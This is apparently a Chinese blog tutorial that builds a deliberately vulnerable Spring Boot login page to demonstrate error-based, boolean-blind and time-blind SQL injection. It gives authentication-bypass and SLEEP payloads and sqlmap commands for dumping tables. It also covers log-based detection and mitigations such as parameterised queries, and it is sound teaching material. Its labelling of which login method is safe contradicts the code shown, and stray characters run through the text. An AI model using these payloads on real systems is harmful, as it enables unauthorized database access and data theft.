SQL注入是什么建芙?
通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串涵亏,最終達到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
按照執(zhí)行效果來分類分為:
1.基于報錯注入
2.基于布爾的盲注
3.基于時間的盲注
今天,我們要使用Springboot搭建一個簡單的登陸框頁面掸犬,后端使用JDBC進行數(shù)據(jù)庫數(shù)據(jù)校驗以及復現(xiàn)以上三種常見的SQL注入案例珊楼。
測試環(huán)境搭建
首先下載IDEA編譯器通殃,并且安裝JDK環(huán)境,然后配置MAVEN倉庫厕宗。
IDEA官網(wǎng):https://www.jetbrains.com/
創(chuàng)建MAVEN工程,創(chuàng)建父工程和模塊并在模塊pom文件中導入依賴(詳細教程在鏈接里有):
<dependencies>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.32</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.1.8.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.1.8.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.1.8.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.1.8.RELEASE</version>
</dependency>
</dependencies>
在yml文件中添加數(shù)據(jù)庫配置和thymeleaf:
server:
port: 8000 #端口
spring:
application:
name: service #服務(wù)名稱
datasource:
driver-class-name: com.mysql.jdbc.Driver
url: jdbc:mysql://localhost:3306/xxxx?useUnicode=true&characterEncoding=utf8
username: root
password: xxxx
thymeleaf:
cache: false
prefix: classpath:/templates/
suffix: .html
encoding: UTF-8
mode: HTML5
添加四種登陸方法
前端頁面
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.w3.org/1999/xhtml">
<head >
<meta charset="UTF-8">
<title>這是一個登陸頁面</title>
</head>
<body>
<form th:action="@{/login1}" method="post">
<p>用戶名:<input name="username" type="text" placeholder="userName"></p>
<p>密 碼:<input name="password" type="password" placeholder="Password"></p>
<input type="submit" value="登陸">
</form>
<p th:text="${result}"></p>
</body>
</html>
在Controller文件自動裝填jdbcTemplate類并添加四種登陸方法:
@Autowired
JdbcTemplate jdbcTemplate;
@RequestMapping("/index")
public String testJumpPage(Model model) throws Exception{
model.addAttribute("result", "開始嘗試登陸吧~");
return "index";
}
@PostMapping("/login1")
public String Login1(@RequestParam("username") String username,
@RequestParam("password") String password,
Model model ){
boolean flag=false;
String result="密碼錯誤繼續(xù)登陸吧";
String sql="";
sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
Object f= list.get(0).get("count(*)");
if(f.toString().equals("1")) {
result = "登陸成功";
}
model.addAttribute("result", result);
return "index";
}
@PostMapping("/login2")
public String Login2 (@RequestParam("username") String username,
@RequestParam("password") String password,
Model model ){
boolean flag=false;
String result="密碼錯誤繼續(xù)登陸吧";
String sql="";
sql="select count(*) from my_user where user_name=? AND user_password=?";
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql,username,password);
Object f= list.get(0).get("count(*)");
if(f.toString().equals("1")) {
result = "登陸成功";
}
model.addAttribute("result", result);
return "index";
}
@PostMapping("/login3")
public String Login3(@RequestParam("username") String username,
@RequestParam("password") String password,
Model model ){
boolean flag=false;
String result="密碼錯誤繼續(xù)登陸吧";
String sql="";
sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
try
{
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
Object f = list.get(0).get("count(*)");
if (f.toString().equals("1")) {
result = "登陸成功";
}
}catch (Exception e){
System.out.println(e);
}
model.addAttribute("result", result);
return "index";
}
@PostMapping("/login4")
public String Login4 (@RequestParam("username") String username,
@RequestParam("password") String password,
Model model ){
boolean flag=false;
String result="密碼錯誤繼續(xù)登陸吧";
String sql="";
sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
try
{
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
Object f = list.get(0).get("count(*)");
if (f.toString().equals("1")) {
result = "登陸成功";
}
}catch (Exception e){
System.out.println(e);
model.addAttribute("result", "404無法訪問");
return "error404";
}
model.addAttribute("result", result);
return "index";
}
可以看出JDBC有兩種Sql語句的拼寫方式:
- 使用String相加拼接画舌。
String sql="select count(*) from my_user where user_name='"+username+"'AND user_password='"+password+"'";
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql);
- 使用占位符拼接
String sql="select count(*) from my_user where user_name=? AND user_password=?";
List<Map<String, Object>> list = jdbcTemplate.queryForList(sql,username,password);
注入點手工測試
首先是手工測試一個網(wǎng)頁是否符合注入的條件,由于login1方法沒有寫異常處理媳瞪,所以頁面會自動報異常骗炉,把系統(tǒng)內(nèi)部的錯誤暴露給用戶方。如圖:user_name=1'時蛇受,帶有特殊字符單引號句葵,紅字部分程序請求數(shù)據(jù)庫的語句為:
select count(*) from my_user where user_name='1'' AND user_password='';
可以判斷user_name是注入點,同理user_password也是注入點。像這個sql乍丈,我們就可以在mysql數(shù)據(jù)庫中嘗試寫sql語句并使用注解機制改變sql語句的結(jié)構(gòu)剂碴,使得sql語句變成:
select count(*) from my_user where user_name='' or '1'='1';-- AND user_password ='';
我的mysql數(shù)據(jù)庫只支持'1'='1'這種寫法,有的數(shù)據(jù)庫也支持1=1轻专,兩種寫法
可以直接打開Mysql數(shù)據(jù)庫進行查詢不再使用網(wǎng)頁端測試忆矛,可以得到結(jié)果為:表中的總數(shù)據(jù)量(3條)。
也可以嘗試一下做:
select count(*) from my_user where user_name='' OR '1'='1' AND user_password ='';-->0條
select count(*) from my_user where user_name='' AND user_password ='' OR '1'='1';-->3條
通過執(zhí)行結(jié)果我們可以結(jié)合文檔理解一下AND/OR的用法请垛,AND的優(yōu)先級是高于OR的催训,故而查詢優(yōu)化器先計算AND再進行OR計算。
通過程序我們知道count(*)=1時宗收,登陸成功漫拭,故而我們可以把username設(shè)為想登陸的用戶名如:admin,password設(shè)為' or '1'='1' and user_name='admin混稽;
拼接成程序執(zhí)行sql:
select count(*) from my_user where user_name='admin' AND user_password ='' or '1'='1' and user_name='admin';
執(zhí)行結(jié)果=1,可用來登陸已知用戶名的"admin"和其他賬戶采驻。
但是,在這個網(wǎng)頁中異承傺回顯只有顯示sql語句礼旅,并不返回執(zhí)行結(jié)果。所以還要引入盲注的概念∏⒔啵現(xiàn)在可以簡單分析一下四種登陸方法:測試發(fā)現(xiàn)痘系,由于login1-3都是String相加拼接,因此存在注入點诡挂。login4使用占位符拼接暫時未發(fā)現(xiàn)注入點碎浇。
并且login1-3三種返回值都會有不一樣的回顯狀態(tài),可以利用這點去暴力拖庫璃俗,比方說可以執(zhí)行如:
exists(select 1 from table)
這種語句來判斷有沒有這張表奴璃。
通過編寫比較復雜的sql語句,就可以依次判斷數(shù)據(jù)庫的庫名長度再用窮舉法(26個字母)根據(jù)返回狀態(tài)去判斷數(shù)據(jù)庫名每一位的字母城豁,從而獲得數(shù)據(jù)庫名苟穆,同樣的方法也能獲得表中的數(shù)據(jù),這種就是“布爾型盲注”唱星。
相近的道理“時間盲注”在每一個sql中添加sleep()語句可以延緩數(shù)據(jù)庫返回雳旅,從而判斷執(zhí)行的成功與否,形成人為判斷的true和false值间聊,當然這種方法就比較耗時攒盈,同時也比較有攻擊性,有可能造成服務(wù)不可用哎榴。
使用SqlMap進行自動化注入攻擊
SqlMap簡介
詳細介紹:https://blog.csdn.net/taozpwater/article/details/22618995
SqlMap是一個開源滲透測試工具型豁,它可以自動檢測和利用SQL注入漏洞并接管數(shù)據(jù)庫服務(wù)器的過程僵蛛。它具有強大的檢測引擎,針對最終滲透測試儀的眾多細分功能以及從數(shù)據(jù)庫指紋識別迎变,從數(shù)據(jù)庫獲取數(shù)據(jù)到訪問基礎(chǔ)文件系統(tǒng)以及通過外出在操作系統(tǒng)上執(zhí)行命令的廣泛開關(guān)充尉,并帶內(nèi)連接。
運行SqlMap
首先有必要提醒一點衣形,請不要使用滲透測試工具對實際的生產(chǎn)數(shù)據(jù)庫和服務(wù)器進行SQL注入攻擊驼侠,這種行為將觸犯《中華人民共和國網(wǎng)絡(luò)安全法》,嚴重者會受到法律的制裁谆吴。
下面是他的部分使用方法:
幫助信息:python sqlmap.py --help
網(wǎng)頁注入點位GET:python sqlmap.py -u url 針對get型傳參
網(wǎng)頁注入點位POST:python sqlmap.py -r sql.txt 針對post型傳參倒源,將request包保存為txt文件,存在注入的參數(shù)用*標注纪铺;
python sqlmap.py -r sql.txt --dbs 查看有哪幾個數(shù)據(jù)庫
python sqlmap.py -r sql.txt -D 庫名 --tables 查看數(shù)據(jù)庫內(nèi)表名
python sqlmap.py -r sql.txt -D 庫名 -T 表名 --columns 查看表字段
python sqlmap.py -r sql.txt -D 庫名 -T 表名 --dump 下載表
REQUEST包保存的txt文件:
POST /login1 HTTP/1.1
Host: localhost:8000
Connection: keep-alive
Content-Length: 21
Cache-Control: max-age=0
Origin: http://localhost:8000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,"*/*";q=0.8("*/*"沒有雙引號)
Referer: http://localhost:8000/login1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
username=*&password=*
如果有開啟數(shù)據(jù)庫慢查詢的話就可以到C:\ProgramData\MySQL\MySQL Server 5.6\data中查詢慢查詢?nèi)罩玖讼嗨伲@是我的部分慢查詢?nèi)罩荆?/p>
select count(*) from my_user where user_name=''AND user_password='' OR SLEEP(5)-- XuXx';
select count(*) from my_user where user_name='' OR SLEEP(5)-- OVwx'AND user_password='';
這些就是sqlmap在數(shù)據(jù)庫中做時間盲注的部分操作。因此如果在生成數(shù)據(jù)庫慢查詢?nèi)罩局谐霈F(xiàn)大量的sleep函數(shù)語句就應該警惕服務(wù)器是否被注入攻擊了鲜锚。
總結(jié)
在涉及到數(shù)據(jù)庫操作的程序編寫時應該避免sql語句使用字符串拼接的方法,目前使用占位符的方法是比較安全的苫拍,但是使用占位符進行數(shù)據(jù)庫查詢時應該注意JAVA類型和SQL類型的轉(zhuǎn)換問題芜繁,否則有可能導致“索引失效”的問題,以下是數(shù)據(jù)類型轉(zhuǎn)換表:
解決方案有人總結(jié)過绒极,這里直接摘抄一下:
永遠不要信任用戶的輸入骏令。對用戶的輸入進行校驗,可以通過正則表達式垄提,或限制長度榔袋,對單引號和雙"-"進行轉(zhuǎn)換等。
永遠不要使用動態(tài)拼裝SQL铡俐,可以使用參數(shù)化的SQL(綁定變量)或者直接使用存儲過程進行數(shù)據(jù)查詢存取凰兑。
永遠不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應用使用單獨的權(quán)限有限的數(shù)據(jù)庫連接审丘。
不要把機密信息直接存放吏够,加密或者hash掉密碼和敏感的信息。
應用的異常信息應該給出盡可能少的提示滩报,最好使用自定義的錯誤信息對原始錯誤信息進行包裝锅知。
SQL注入的檢測方法一般采取輔助軟件或網(wǎng)站平臺來檢測。
當然如今的SQL注入手段已經(jīng)遠不止上面所描述的三種脓钾,基于JPA和Mybatis的數(shù)據(jù)庫操作也并非絕對的安全售睹,作為一個程序員一定要永遠處于保存學習的狀態(tài)、與時俱進才能迎接更多的挑戰(zhàn)可训。
相關(guān)鏈接:
1.Bisal的文章《初學SQL注入》給我的啟發(fā):https://mp.weixin.qq.com/s/XMaJ9F5aSsJjNHuSTD49dA
2.WHF關(guān)于注入攻擊知識的耐心教學,這是她的博客:https://wszdhf.github.io/
3.尚硅谷MySql的網(wǎng)課:https://www.bilibili.com/video/BV12b411K7Zufrom=search&seid=6777170217374891545
4.黑馬程序員SpringCloud的網(wǎng)課:https://www.bilibili.com/video/BV1eE41187Ugfrom=search&seid=18019460689454241634